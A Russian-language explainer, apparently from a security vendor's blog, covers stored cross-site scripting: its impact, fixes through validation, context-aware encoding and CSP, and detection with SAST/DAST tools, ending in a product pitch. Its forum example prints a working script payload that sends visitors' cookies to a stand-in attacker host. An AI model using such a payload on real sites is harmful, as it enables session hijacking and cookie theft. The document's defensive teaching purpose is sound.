Сохраненный межсайтовый скриптинг возникает, когда данные, отправленные злоумышленником, сохраняются на сервере, а затем публично отображаются на обычных страницах без надлежащего экранирования HTML.
Это создает несколько возможностей для атаки, кражи токена сессии или учетных данных для входа (путем изменения HTML на лету) и выполнения действий от чужого имени. Это происходит потому, что вводимые злоумышленником данные интерпретируются HTML/JavaScript/VBScript в браузере пользователя, который просматривает содержимое программы.
В обычных XSS-атаках злоумышленнику нужно добраться до целевого юзера, но в сохраненном межсайтовом скриптинге он может просто внедрить полезную нагрузку и ждать, пока пользователи посетят страницу. Как только кто-то это сделает, сохраненная полезная нагрузка будет выполнена.
XSS ориентирован на юзеров, а не на сервер программы. Но поскольку он позволяет захватывать сессии других пользователей, злоумышленник может атаковать администратора, чтобы получить полный контроль над программой.
Влияние сохраненного XSS
Сохраненный межсайтовый скриптинг опаснее других типов по нескольким причинам:
- Полезная нагрузка не видна для фильтра XSS браузера.
- Пользователи могут случайно активировать полезную нагрузку при посещении страницы, тогда как для использования отображенного XSS понадобится специально созданный URL-адрес или определенные данные формы.
- Межсайтовый скриптинг позволяет создавать клиентские черви, которые могут изменять, удалять или похищать данные других пользователей внутри приложения.
- Веб-сайт может перенаправлять юзеров на новое место, пострадать от дефейса или использоваться как фишинговый сайт.
- Чувствительная информация, такая как файлы cookie, может быть похищена.
Пример сохраненного XSS
Сохраненный XSS может возникнуть, если имя пользователя участника онлайн-форума неправильно очищено при отображении на странице. В этом случае злоумышленник может внедрить вредоносный код при регистрации нового юзера в форме. Когда имя пользователя отображается на странице форума, оно будет выглядеть так:
Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
Registered since: 2016Код выше срабатывает каждый раз, когда пользователь посещает этот раздел форума, и он отправляет файлы cookie злоумышленнику, который затем может использовать их для захвата сессий.
Исправление сохраненного XSS
1. Перед отправлением в базу данных следует сравнить данные, предоставленные пользователем, с данными, которые ожидает система.
Например, ссылки, как правило, следует запрещать, если они не начинаются с протокола из белого списка, такого как http:// или https://, что предотвращает использование схем URI, таких как javascript://.
2. Также любые данные, включенные в исходный код HTML страницы, должны быть правильно закодированы, чтобы предотвратить изменение его структуры злоумышленником и внедрение собственного вредоносного кода HTML и JavaScript.
Какое кодирование следует использовать, зависит от контекста, в котором он должен отображаться. Например, если вывод находится между двумя тэгами “div”, метасимволы HTML, такие как < или >, следует заменить соответствующими HTML-сущностями (HTML entities).
Если вывод находится в атрибуте HTML, такие символы, как “, ‘ и =, также нужно заменить. Если данные будут помещены в строку JavaScript, следует использовать шестнадцатеричное кодирование (x41x42x43x44).
3. В других случаях, например, в атрибуте href или src, стоит использовать кодировку URL (%3C%22%27), чтобы предотвратить добавление дополнительных параметров злоумышленником.
4. Кроме того, следует внедрить надежную Политику безопасности контента (CSP) как меру защиты, если ошибочно создана уязвимость XSS.
Автоматическое обнаружение сохраненного XSS
Сохраненный XSS можно обнаружить с помощью автоматизированных инструментов:
- SAST (например от Mend.io) анализирует исходный код на этапе разработки как текст и находит потенциальные уязвимости.
- DAST (например, Invicti на основе Acunetix и Netsparker) работает с уже развернутым приложением и имитирует атаки, проверяя, возможно ли выполнить XSS на практике через веб-интерфейс.
Таким образом, SAST помогает выявить проблему раньше в процессе разработки, в то время как DAST подтверждает эксплуатируемость уязвимости в реальной среде.
Если вы хотите бесплатно протестировать Invicti или Mend.io, которые бесшовно интегрируются, оставьте ваши контактные данные в форме ниже, и мы к вам обратимся.
